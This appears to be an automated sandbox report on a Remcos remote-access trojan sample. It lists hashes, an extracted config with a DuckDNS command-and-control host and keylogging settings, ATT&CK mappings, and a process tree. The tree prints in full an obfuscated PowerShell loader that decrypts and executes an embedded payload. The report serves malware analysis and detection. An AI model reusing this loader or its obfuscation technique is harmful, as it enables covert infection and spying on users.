remcos | 06051fcdf49ca8dc96fecde6f1477cde2994a01f899ea063072e3c77789845fc

Resubmissions

12/07/2024, 06:41

240712-hf4p3ssdqj10

12/07/2024, 06:39

240712-herdcssdkj10

Analysis

max time kernel
120s
max time network
122s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
12/07/2024, 06:39

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General

Target
crosscheckrosefloweronhairbeauty.vbs
Size 150KB
Sample240712-herdcssdkj
SHA256 06051fcdf49ca8dc96fecde6f1477cde2994a01f899ea063072e3c77789845fc
MD5 7921681c6200952fdf2db1a77381ac24
SHA1 96e6385fc9c0b8b485eba5bc8f45420ea84b38e6
SHA512 4c8da2c5cd3c6f88a19e44806cae2b4aefb7512c49554420bbad6b341dcf6b16ae75a1af94a9b1bcaa8123cb4987130a0dca1bdf70be81f31148f73ab7b6010b
SSDEEP 1536:yZccvQGghdpPZp+ogsUJW4Wrle/PhG+/kery+bGsvky38sv5HnIgs:QghdpP+og0S7e9
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

sembe.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
nots.dat
keylog_flag
false
keylog_folder
note
keylog_path
%Temp%
mouse_option
false
mutex
Rmc-999Z97
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	4192	WScript.exe
4	4192	WScript.exe
6	4192	WScript.exe
11	408	powershell.exe
13	408	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 408 set thread context of 4004	408	powershell.exe	75

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
408	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
408	powershell.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	408	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4004	RegAsm.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4192 wrote to memory of 408	4192	WScript.exe	72
PID 4192 wrote to memory of 408	4192	WScript.exe	72
PID 408 wrote to memory of 2484	408	powershell.exe	74
PID 408 wrote to memory of 2484	408	powershell.exe	74
PID 408 wrote to memory of 2484	408	powershell.exe	74
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75
PID 408 wrote to memory of 4004	408	powershell.exe	75

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\crosscheckrosefloweronhairbeauty.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53289677559390085198936330541601CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIfBvRZYArRiXxb9pLfOWJSzhLRPd5I7zACTsYJPbnDRxmpMjLudBMxIclsh5G1oAEB4NHw+gqZ73NYAtRuPEZbun7w27uHNUU/2UZk0vwixZZjYF8SBUg7cmFK0nSMgU1Iow3bYmuii7NK55sdrSb83T7TlGZY91+Moz0ZBIk/0eAU2wf8Py5IgxbPrmhkNHTpbZFW/Al0eMV2MWxPeHSmQgZ//aQ5gn4Og/LInIlaSIqzqvxWq5kou0WIQo/72zG6+7hFvlR6cDOFO2EYak1CZ8irRCX18qAZvDaSJk/li/7cM0YyGDGjetxHvddCjxoFrsIzOoFr80ro7ty8kqQMtvLfXWiRbyxHtkF3NxaNwlxDUG/Htly5mpzTXN98K6Fnob44pHV6WFmrTRzBeXFvRMXFrkrC3t4BnQoCxsRB6x1sycYX2BAgD4vDPPYxPb47dSqUAoFV4NMTMVwtucrwLJdlZlPd2EnjstlapgPGyqeDuq+TKGWTRY7Z1C3vRcmlGe+lnY3QnpSNHNLl/haCmRsH4gMWyr4W/C2zNKguYI0N/PuyhAYi7YLD4A/NHjUcCY9rhxCg197+PLu/OwLBOl0CXgp/Ts85zFpV7WYNvBVPdgWvIPMkzBwQ+49ILJWVxcCDdE6JmR5Fq9tx9CQCnQJHN8uHPYaUlZ0ReVI/npl7GN05N9Obi18FtHe8U5TJh3++s3GfoiYW9BhKgh39janXG8zoXy6iZOVv1CDPHimFt85ZaMs1Bo+CmL5lnsudxNiDoq44/2E5DtzNoWEzZ+OQLsOM9Zh7Lke8w81xDJOSxVmqDoOcMa4I6/NsXFAlOTeKkhDmJCHTUB/Ks2qy+xvWMe77WJAkO37XgYyBUTA46+w+NVfiXxSstunWVvAjPztuMG9ekqgyxG0tWnqnXcuN/TQwZP47Z83ALuTurZOTykuQEXA42lNWU8mibH2upcIACt8NoPw3r5fRNvJc322KLiLSEJOJDDwYQP3uPDW9ylYqnz9saWGUF7wyvlEIrk5vKGo+vuncoCtLyjSFU2NNWq/OUhm3YFstmHb00qRls8jshNFDeskT+9HrCwRd5P+6kLq2cCc1OCMU4SwDWZMZEi/L5oEW5wJXHXG/5VBwshKqSiAF1ojathm5reHGj8cBBQcmfmNAiBhE+cYjLiJ1HYdwmhWRlD9k2l7IrpPf72Zqiu2AJE1o7WKFUPAGFRCXzrDrRaHWxr27DK2NG8lOEVbh92cuVyNGBlhPQft0FbKGvaWYwCm9BS9uJ8iakplRHRpzvLdk5Vw06NR0Yrav4GBiDdk6DqZecDjAKZoBxoCZOav+ztJKIbgKzOMNv18CX9tBGDWY/69/2jI7bvSx+CwNi/hpj3s9iK+SwzIrpD+dFAIiQcmP3Wj4TFZaBEjn++UcwcO3C2sjME5q86SXNGxzQs3i74Hw5uxEiiJhjft+JA0nP2X91n118uUxgEZdNZYtfDuLLg3uLun/EmKv1DFelh7eFXGEr3moW6nDkt16Q8Vt70kfULUet/WDc5XMsIOU0QFo5WQP9BPNJm7vuhbMBlWp/x8tkFjKO9fCUtgZ3vYKrjvFe1RMsHOuSXcC8eZgwJNI3F0Gtx7Rc2jC2D+CDFPstFXOPDalI6g2hOKB0IzlYPk/GhbZmfoYqm2SfR4VcsG9fjYrUCGhbqag/5m5K5GGlkwdugJl/F/liXwGNmURs4EWFJe3UpAevGgVLpYHIc48Xsqfyu4AfxXZtVkyJXoIc1AzQvH1cvQJm9XokY4SbLS7N7PiDJXCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:408
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2484
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:4004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

paste1[1].txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8S7W85J5\paste1[1].txt
Size 156B
SHA256 ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c
MD5 ad6c37ef980373e9bcbd14810fad34bc
SHA1 9c061a1b3608b7c7f1db7cd06c8246913ee11bda
SHA512 30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f
MD5 SHA1 SHA512

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__PSScriptPolicyTest_zgkyt4ku.uib.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgkyt4ku.uib.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

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nots.dat

Path C:\Users\Admin\AppData\Local\Temp\note\nots.dat
Size 144B
SHA256 78b82aa808940e5f54976d25e9b60b0c56c87b51c6d09c450fc78d0d709208dc
MD5 78c8af4d2d7c9cd35c3fec2aa8d9ab2f
SHA1 8dbd760770ecc759dd789cf70ccbe1a2facf6fcf
SHA512 f3cfa293bea7cdac06d7d54fd596511cad17acf68b305897a89134d8e78d02353857aeb5f2d6f321a309f7abac17dd43c3874e619009bd0828c7827e10934741
MD5 SHA1 SHA512

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memory/408-39-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

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memory/408-93-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

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memory/408-24-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

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memory/408-22-0x000001F0D8620000-0x000001F0D8696000-memory.dmp

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memory/408-19-0x000001F0D8270000-0x000001F0D8292000-memory.dmp

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memory/408-40-0x000001F0E89C0000-0x000001F0E8BAC000-memory.dmp

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memory/408-18-0x00007FFB5D423000-0x00007FFB5D424000-memory.dmp

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memory/408-23-0x00007FFB5D420000-0x00007FFB5DE0C000-memory.dmp

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memory/4004-94-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-104-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-91-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-86-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-92-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-85-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-95-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-96-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-97-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-88-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-79-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-106-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-107-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-114-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-115-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-122-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4004-123-0x0000000000400000-0x0000000000482000-memory.dmp

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